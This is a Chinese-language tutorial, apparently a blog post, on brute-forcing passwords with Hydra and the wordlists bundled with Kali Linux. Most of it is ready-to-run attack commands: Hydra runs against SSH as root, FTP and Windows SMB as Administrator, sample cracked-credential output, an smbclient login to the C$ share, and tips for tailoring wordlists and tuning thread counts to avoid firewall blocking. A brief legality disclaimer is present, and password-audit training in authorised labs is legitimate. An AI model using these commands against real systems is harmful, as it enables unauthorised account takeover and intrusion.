如何使用Kali Linux自带字典进行密码破解?

使用 Kali Linux 自带字典进行密码破解(以 Hydra 为例)是最便捷高效的方式,无需额外下载字典,直接调用系统预装的字典文件即可。以下是详细步骤,包含字典路径、解压方法、适配工具(Hydra)的使用示例及优化技巧:

一、Kali 自带字典核心路径与准备

Kali 预装的字典集中在 /usr/share/wordlists/ 目录下,其中最常用的是 rockyou.txt(需解压),其他字典可根据场景选择。

1. 关键字典路径与说明
字典名称 路径 特点与适用场景
rockyou.txt /usr/share/wordlists/rockyou.txt.gz 1400 万 + 弱密码(需解压),覆盖全球常见密码,适用于绝大多数场景(SSH、FTP、Web 等)
dirb/common.txt /usr/share/wordlists/dirb/common.txt 小型字典(含常见用户名 / 密码),适合快速测试(如 admin:admin 组合)
metasploit 系列 /usr/share/metasploit-framework/data/wordlists/ 按系统分类(Unix/Windows),针对性破解特定系统密码
default-passwords.txt /usr/share/wordlists/default-passwords.txt 设备默认密码(路由器、数据库等),适合攻击未修改默认配置的目标
2. 解压核心字典(rockyou.txt 必做)

rockyou.txt 默认是压缩包(.gz 格式),需先解压才能使用:

bash

复制代码
# 进入字典目录
cd /usr/share/wordlists/

# 解压(需 root 权限,Kali 中默认已授权)
sudo gunzip rockyou.txt.gz

# 解压后生成 rockyou.txt,查看前10行验证
head rockyou.txt

二、结合 Hydra 使用自带字典的实战示例

以最常用的 rockyou.txt 和 dirb/common.txt 为例,演示针对不同服务的破解流程。

场景 1:破解 SSH 服务(用 rockyou.txt 密码字典)

目标 :攻击 Linux 目标机(IP:192.168.1.10)的 SSH 服务,尝试用户名 root。

步骤:

  1. 确认目标 SSH 端口开放(用 nmap 验证):

    bash

    复制代码
    nmap -p 22 192.168.1.10  # 显示端口开放(open)则可攻击
  2. 执行 Hydra 命令,调用 rockyou.txt 作为密码字典:

    bash

    复制代码
    hydra -l root -P /usr/share/wordlists/rockyou.txt -t 20 -vV -o ssh_result.txt 192.168.1.10 ssh
    • 参数解析:
      • -l root:指定用户名为 root(SSH 常见管理员用户)。
      • -P /usr/share/wordlists/rockyou.txt:使用 rockyou 密码字典。
      • -t 20:20 线程(平衡效率与被拦截风险)。
      • -o ssh_result.txt:保存成功结果到文件。
  3. 查看结果:若破解成功,终端会显示类似:

    plaintext

    复制代码
    [22][ssh] host: 192.168.1.10   login: root   password: 123456

    同时 ssh_result.txt 中会记录该凭据。

场景 2:快速测试弱密码组合(用 dirb/common.txt)

目标 :攻击 FTP 服务(IP:192.168.1.20),批量尝试常见用户名 + 密码组合(如 admin:admin)。

步骤:

  1. dirb/common.txt 包含简单用户名和密码,直接作为用户名字典和密码字典:

    bash

    复制代码
    hydra -L /usr/share/wordlists/dirb/common.txt -P /usr/share/wordlists/dirb/common.txt -t 10 -vV 192.168.1.20 ftp
    • 逻辑:用 common.txt 中的每个条目作为用户名,同时作为密码尝试(覆盖 admin:admin、test:test 等常见组合)。
  2. 结果验证:若目标 FTP 存在 test:test 凭据,会显示:

    plaintext

    复制代码
    [21][ftp] host: 192.168.1.20   login: test   password: test
场景 3:破解 Windows SMB 服务(用 metasploit 专用字典)

目标:攻击 Windows 主机(IP:192.168.1.30)的 SMB 服务,使用 Windows 专用密码字典。

步骤:

  1. 调用 metasploit 中的 Windows 密码字典:

    bash

    复制代码
    hydra -l Administrator -P /usr/share/metasploit-framework/data/wordlists/windows_passwords.txt -t 15 -vV 192.168.1.30 smb
    • 字典特点:windows_passwords.txt 包含 Windows 常见密码(如 P@ssw0rd、Welcome1 等符合 Windows 密码策略的组合)。
  2. 验证:成功后用 smbclient 测试连接:

    bash

    复制代码
    smbclient //192.168.1.30/C$ -U Administrator%密码  # 替换为爆破出的密码

三、优化技巧:提升自带字典的破解效率

  1. 截取字典前 N 行(快速测试) rockyou.txt 全量有 1400 万条,初期可截取前 1 万条快速测试:

    bash

    复制代码
    # 截取前10000行保存为 small_rockyou.txt
    head -n 10000 /usr/share/wordlists/rockyou.txt > /root/small_rockyou.txt
    
    # 用精简字典攻击
    hydra -l admin -P /root/small_rockyou.txt ...  # 其他参数不变
  2. **去重与排序(减少无效尝试)**部分字典可能有重复条目,去重后效率更高:

    bash

    复制代码
    sort -u /usr/share/wordlists/dirb/common.txt > /root/unique_common.txt  # 去重
  3. 结合用户名生成关联密码(社工思路) 用 sed 命令在字典中加入用户名相关组合(如在密码后添加用户名 admin):

    bash

    复制代码
    # 在 rockyou.txt 每条密码后添加 "admin"(如 "123456"→"123456admin")
    sed 's/$/admin/' /usr/share/wordlists/rockyou.txt > /root/rockyou_admin.txt
  4. 按目标特征筛选字典 若目标是中文环境,筛选含拼音或数字的密码(用 grep 过滤):

    bash

    复制代码
    # 保留包含拼音(如 "zhangsan")或数字的密码
    grep -E '[a-z]+|[0-9]+' /usr/share/wordlists/rockyou.txt > /root/chinese_target.txt

四、注意事项

  1. 合法性 :仅对自己拥有权限的目标使用,未经授权的破解属于违法行为。
  2. 字典选择 :
    • 通用场景优先用 rockyou.txt(覆盖广)。
    • 快速测试用 dirb/common.txt(体积小)。
    • 特定系统用对应字典(如 Windows 用 windows_passwords.txt)。
  3. 性能控制:线程数不宜过高(建议 10-30),避免触发目标防火墙拦截。

通过以上步骤,可充分利用 Kali 自带字典的优势,高效完成密码破解演练。核心是根据目标服务类型和特征,选择合适的字典并优化使用方式,平衡效率与隐蔽性。

相关推荐
张小姐的猫6 分钟前
【MySQL】数据类型
android·linux·数据库·c++·mysql·adb·php
金色熊族9 分钟前
ebpf程序开发(一)--ubuntu20.04
linux·ebpf
‎ദ്ദിᵔ.˛.ᵔ₎13 分钟前
Linux 线程控制
linux
红姐跨境书33 分钟前
Facebook账号频繁被要求验证怎么办?从登录异常到浏览器环境排查
运维·服务器
叼烟扛炮39 分钟前
Linux 学习笔记(八):GCC 编译器的四大阶段与链接原理
linux·笔记·学习
月落汀兰1 小时前
服务器出问题没人告警?Zabbix6.0 LNMP 部署,MySQL 监控 + 邮件告警保姆级实战
运维·服务器·zabbix
运维踩坑日记1 小时前
【无标题】
linux·运维·windows
xiaoyunxuexibiji1 小时前
供应商绩效评价体系如何建立?从评价指标到自动化考核
运维·人工智能·自动化
骇客野人1 小时前
CI/CD A 服务器(构建机)免密登录 B 服务器(目标部署机)完整操作
服务器·servlet·ci/cd
Z21-X1 小时前
云原生运维学习笔记:从云计算概念到服务器硬件的入门之旅
运维·笔记·学习·云原生